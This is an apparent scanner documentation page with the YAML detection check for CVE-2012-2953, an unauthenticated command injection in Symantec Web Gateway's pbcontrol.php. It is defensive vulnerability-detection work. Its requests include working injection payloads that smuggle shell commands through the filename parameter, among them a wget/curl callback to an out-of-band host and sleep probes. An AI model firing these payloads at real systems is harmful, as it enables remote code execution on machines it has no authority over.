Symantec Web Gateway — 1 vulnerability check

noctis ships 1 vulnerability check for Symantec Web Gateway, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Symantec Web Gateway pbcontrol.php filename Command Injection

CVECVE-2012-2953
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/symantec-web-gateway/CVE-2012-2953.yaml

Detects the unauthenticated OS command injection in Symantec Web Gateway 5.0.x (fixed in 5.0.3.18): the filename parameter of /spywall/pbcontrol.php is placed inside double quotes in a shell command without filtering, so `";<command>;"` runs a command as the web server user. After a plain request to pbcontrol.php answers 200, the feed injects benign commands and reports only on proof of real execution: the shell-computed sum of two random integers in the reply, an out-of-band HTTP callback whose URL only a shell can rebuild, or a reply delay that scales with an injected sleep.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET /spywall/pbcontrol.php?filename=noctis&stage=0
  4. HTTP(S) request GET /spywall/pbcontrol.php?filename=noctis%22%3Becho%20NOCTIS%24%28%28{{proof.a}}%2B{{pro…
  5. Checks resp.body for NOCTIS[0-9]{7} → finding QoD 97: Symantec Web Gateway command injection confirmed via /spywall/pbcontrol.php filename: injected `";echo NOCTIS$((…+…));"` returned the shell…
  6. HTTP(S) request GET /spywall/pbcontrol.php?filename=noctis%22%3Bwget%20-q%20-T%205%20-t%201%20-O%20/dev/n…
  7. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Symantec Web Gateway blind command injection confirmed via /spywall/pbcontrol.php filename: a shell collapsed the $()-split OOB token and t…
  8. HTTP(S) request GET /spywall/pbcontrol.php
  9. HTTP(S) request GET /spywall/pbcontrol.php?filename=noctis%22%3Bsleep%206%3B%22&stage=0
  10. HTTP(S) request GET /spywall/pbcontrol.php?filename=noctis%22%3Bsleep%203%3B%22&stage=0
  11. Checks slow3.body for [\s\S]* → finding QoD 75: Symantec Web Gateway command injection confirmed by timing via /spywall/pbcontrol.php filename: control answered in … ms, injected sleep 6 …

References:

Feed source — tests/vulnerabilities/symantec-web-gateway/CVE-2012-2953.yaml
# Symantec Web Gateway 5.0.x — /spywall/pbcontrol.php `filename` command injection (CVE-2012-2953)
#
# Ported from OpenVAS/Greenbone NVT `2012/gb_symantec_web_gateway_54426.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.103527, GPL-2.0-only). Injection point and request
# shape also checked against the Metasploit module
# exploit/linux/http/symantec_web_gateway_pbcontrol (EDB 20113, BID 54426):
#   GET /spywall/pbcontrol.php?filename=<rand>";<cmd>;"&stage=0
# The Spywall API's proxy_file() pastes `filename` inside double quotes into an
# exec() call without filtering, so `";` closes the quoted argument and starts
# any command, run unauthenticated as the web server user. Fixed in 5.0.3.18.
# Unparameterised, pbcontrol.php answers the body "0".
#
# The NASL sends `filename=VT-Test";id;"` and matches `uid=..gid=..` in the page,
# i.e. it only catches installs that print the exec() output. Detection here —
# three benign proofs, nothing written, read or persisted, all gated on a plain
# control request (`filename=noctis&stage=0`) answering 200:
#   1. In-band (QoD 97): `echo NOCTIS$((a+b))` with a, b random in
#      500000..999999. Reported only when NOCTIS<a+b> comes back; the 7-digit
#      sum never appears in the request, so a page that reflects (or strips and
#      reflects) the parameter cannot produce it.
#   2. OOB callback (QoD 97, only when OOB is configured and 1 did not fire):
#      `wget -q -T 5 -t 1 -O /dev/null <url>||curl -s -m 5 -o /dev/null <url>`,
#      the token split by an empty $() so only a shell rebuilds the callback
#      path. Covers installs that do not print the exec() output (the Metasploit
#      module treats the injection as blind).
#   3. Time differential (QoD 75, when 1 and 2 did not fire): only on a host
#      whose unparameterised pbcontrol.php answers the API body "0". The
#      control must answer in < 3 s, `sleep 6` within control + [5 s, 9 s) and
#      `sleep 3` within control + [2.5 s, 4.5 s), at least 2 s apart — exec()
#      blocks until the command exits, so each delay tracks its own argument.
#      A server that is slow on every request, or that tarpits every request
#      carrying `;` by the same amount (WAF/IPS), cannot satisfy both windows.
#      duration_ms covers the full response (#1924), so a build that flushes
#      its headers before the exec() is caught too.
#
# Better than the NASL: blind installs are detected (OOB, timing), the proof is
# a per-run value only real execution yields (the NASL's `uid=` pattern matches
# any page that happens to show an `id` output), and no `id` is run.
#
# `http_request` keeps the %XX escapes of the query verbatim (only path
# dot-segments are normalised), so no raw tcp_connect is needed.
uid: bb2d1bfe-425c-4ba5-b267-6b9d78bb25b5
name: "Symantec Web Gateway pbcontrol.php filename Command Injection (CVE-2012-2953)"
description: |
  Detects the unauthenticated OS command injection in Symantec Web Gateway
  5.0.x (fixed in 5.0.3.18): the filename parameter of /spywall/pbcontrol.php
  is placed inside double quotes in a shell command without filtering, so
  `";<command>;"` runs a command as the web server user. After a plain request
  to pbcontrol.php answers 200, the feed injects benign commands and reports
  only on proof of real execution: the shell-computed sum of two random
  integers in the reply, an out-of-band HTTP callback whose URL only a shell
  can rebuild, or a reply delay that scales with an injected sleep.
cves: [CVE-2012-2953]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [symantec, web-gateway, spywall, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-2953"
  - "https://www.exploit-db.com/exploits/20113"
  - "https://www.securityfocus.com/bid/54426"
  - "OpenVAS/Greenbone NASL 2012/gb_symantec_web_gateway_54426.nasl (GPL-2.0-only)"

steps:
  # Per-run proof values: a, b in 500000..999999 so the sum has 7 digits and
  # cannot hide inside a reflected 6-digit operand.
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b) }
    store_as: proof

  - id: split-oob-token
    action: script
    condition: "oob_enabled"
    code: |
      let n = strlen(oob_token);
      #{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
    store_as: oobsplit

  # Pre-initialise every stored result read in a condition below.
  - id: init-ctrl
    action: set_var
    var_name: ctrl
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-resp
    action: set_var
    var_name: resp
    var_value: {status: 0, body: ""}

  - id: init-fp
    action: set_var
    var_name: fp
    var_value: {status: 0, body: ""}

  - id: init-slow6
    action: set_var
    var_name: slow6
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-slow3
    action: set_var
    var_name: slow3
    var_value: {status: 0, body: "", duration_ms: 0}

  # Control: an ordinary API call, nothing injected. Gates every probe below.
  - id: control
    action: http_request
    method: GET
    path: "/spywall/pbcontrol.php?filename=noctis&stage=0"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    store_as: ctrl

  # ── 1. In-band ──────────────────────────────────────────────────────────
  #   %22 = "   %3B = ;   %20 = space   %24%28%28 = $((   %2B = +   %29%29 = ))
  - id: inject-echo
    action: http_request
    method: GET
    path: "/spywall/pbcontrol.php?filename=noctis%22%3Becho%20NOCTIS%24%28%28{{proof.a}}%2B{{proof.b}}%29%29%3B%22&stage=0"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    condition: "ctrl.status == 200"
    store_as: resp

  - id: confirm-echo
    action: match
    source: resp.body
    pattern: "NOCTIS[0-9]{7}"
    condition: "ctrl.status == 200 && resp.status == 200 && stridx(resp.body, proof.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "Symantec Web Gateway command injection confirmed via /spywall/pbcontrol.php filename: injected `\";echo NOCTIS$(({{proof.a}}+{{proof.b}}));\"` returned the shell-computed marker {{proof.marker}}"
      stop: true

  # ── 2. OOB callback ─────────────────────────────────────────────────────
  # `||curl` covers hosts without wget; both are bounded to 5 s.  %7C = |
  - id: inject-oob
    action: http_request
    method: GET
    path: "/spywall/pbcontrol.php?filename=noctis%22%3Bwget%20-q%20-T%205%20-t%201%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%7C%7Ccurl%20-s%20-m%205%20-o%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%3B%22&stage=0"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "oob_enabled && ctrl.status == 200"
    store_as: oob_req

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && ctrl.status == 200"
    store_as: oob_result
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "Symantec Web Gateway blind command injection confirmed via /spywall/pbcontrol.php filename: a shell collapsed the $()-split OOB token and the injected wget/curl fetched the per-run OOB URL (HTTP callback received)"
      stop: true

  # ── 3. Time differential ────────────────────────────────────────────────
  # Product gate: the bare API call answers "0" on Symantec Web Gateway, so a
  # catch-all server that answers 200 everywhere is never timed.
  - id: fingerprint
    action: http_request
    method: GET
    path: "/spywall/pbcontrol.php"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    condition: "ctrl.status == 200 && ctrl.duration_ms < 3000"
    store_as: fp

  - id: inject-sleep6
    action: http_request
    method: GET
    path: "/spywall/pbcontrol.php?filename=noctis%22%3Bsleep%206%3B%22&stage=0"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "ctrl.status == 200 && ctrl.duration_ms < 3000 && fp.status == 200 && ereg(\"^\\\\s*0\\\\s*$\", fp.body)"
    store_as: slow6

  - id: inject-sleep3
    action: http_request
    method: GET
    path: "/spywall/pbcontrol.php?filename=noctis%22%3Bsleep%203%3B%22&stage=0"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "ctrl.status == 200 && ctrl.duration_ms < 3000 && slow6.status == 200 && slow6.duration_ms >= ctrl.duration_ms + 5000 && slow6.duration_ms < ctrl.duration_ms + 9000"
    store_as: slow3

  - id: confirm-timing
    action: match
    source: slow3.body
    pattern: "[\\s\\S]*"
    condition: "ctrl.status == 200 && ctrl.duration_ms < 3000 && slow6.duration_ms >= ctrl.duration_ms + 5000 && slow6.duration_ms < ctrl.duration_ms + 9000 && slow3.status == 200 && slow3.duration_ms >= ctrl.duration_ms + 2500 && slow3.duration_ms < ctrl.duration_ms + 4500 && slow6.duration_ms - slow3.duration_ms >= 2000"
    on_match:
      finding:
        confidence_delta: 0.62
        qod: 75
        evidence: "Symantec Web Gateway command injection confirmed by timing via /spywall/pbcontrol.php filename: control answered in {{ctrl.duration_ms}} ms, injected sleep 6 in {{slow6.duration_ms}} ms and sleep 3 in {{slow3.duration_ms}} ms (delay scales with the injected argument)"
      stop: true

View these feeds on GitHub